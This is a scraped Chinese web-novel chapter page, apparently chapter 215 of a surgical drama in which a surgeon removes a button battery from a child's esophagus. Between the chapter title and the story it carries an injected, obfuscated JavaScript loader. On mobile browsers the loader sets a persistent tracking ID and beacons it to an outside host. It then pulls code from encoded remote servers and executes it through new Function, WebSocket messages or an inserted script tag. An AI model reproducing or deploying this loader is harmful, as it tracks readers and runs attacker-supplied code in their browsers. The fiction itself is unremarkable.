足迹
刺骨
登录
关灯
护眼
字体:

215 游刃有余(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

钝性分离,食管从贲门位置被游离出来,暴露在术野中。

在食管外壁上,隐约能看见蓝黑相间的痕迹。好在食管还没有被腐蚀透,估计术后应该没有特别大的问题。

“吴老师,切开后缝合,没什么问题吧。”刘主任还是有些担心,小声的问道。

食管的问题在于血运,不管是食管癌还是食管憩室,手术都要面对一样的事情。如果术后血运不好,切口长不上,就要面对食管瘘的难题。

“没事。”吴冕轻声说道,继续手术。

刘主任觉得要是换自己在术者的位置上,应该能分离、取出异物并且缝合,操作没什么难的。关键在于手法,这里就是整台手术的最关键点。

“尖刀。”

吴冕伸手,5秒钟后,器械护士把尖刀装在刀柄上,拍在吴冕的手里。

速度略慢,吴冕心中无奈。毕竟不是始终和自己配合的器械护士,没办法做到自己不说话,一伸手合适的器械就拍在手心里的程度。

尖刀落下。

“吴老师!”刘主任下意识的沉声喊道,“不是那里!”

吴冕落刀的位置要比刘主任看见蓝黑色相间的位置差了足足有1cm左右,这是很严重的手术失误!位置太偏,偏的有些离谱。

“准备一个小压肠板,最小的那种。”吴冕没有理会刘主任的异议,而是和器械护士说道。

小压肠板?只一瞬间,刘主任就明白吴冕的意思。

都是主任医师,做过食管的手术怎么也得上千台,虽然一瞬间有些茫然,但念头一转也就想明白怎么回事。

吴老师是担心直接游离,电池会脱落,在患儿的食管里造成继发性的化学灼伤。

可这么就可以么?刘主任有些疑惑。

换了几个压肠板,吴冕都不是很满意,他知道医大二的设备还是不够齐全。毕竟类似的手术相当少,没有趁手器械的话也是正常。

“刘主任,麻烦你了。”吴冕说道。

“啊?”

“小弯钳子挡一下,手要稳,钳嘴保持0.62cm张开的距离。”

“……”

吴冕说的,刘主任都明白。可是小弯钳子要保持0.62cm的张开距离,这么精确,自己怎么做?

钳子顺着切口进去,吴冕调整好位置后把钳柄交给刘主任。

“保持这个角度与张口度,坚持5分10秒。”吴冕说道。

刘主任无语,小心翼翼的拿住小弯钳子,尽量保持吴冕交给自己时候的间距。

最小号的钳子平时他做手术的时候基本不用,之前看吴冕吴老师做手术的时候,根本看不出来有什么难度。一步一步,按部就班的在做而已。

但钳子落在手上,和以往一样,绵不着力。儿外算是比较精细的,但刘主任还真就很难操控最小的止血钳子。

哪怕不是游离,而只是挡住纽扣电池不要脱落,难度也相当大。

与此同时,吴冕和楚知希各拿着一柄止血钳开始钝性分离,尖刀偶尔落下,微不可见的罅隙中切断、游离,游刃有余。

这已经不是传统意义上的局部解剖学,而是显微手术中的局部解剖学。

刘主任视力不错,但却很难看清楚两把小小止血钳的具体操作。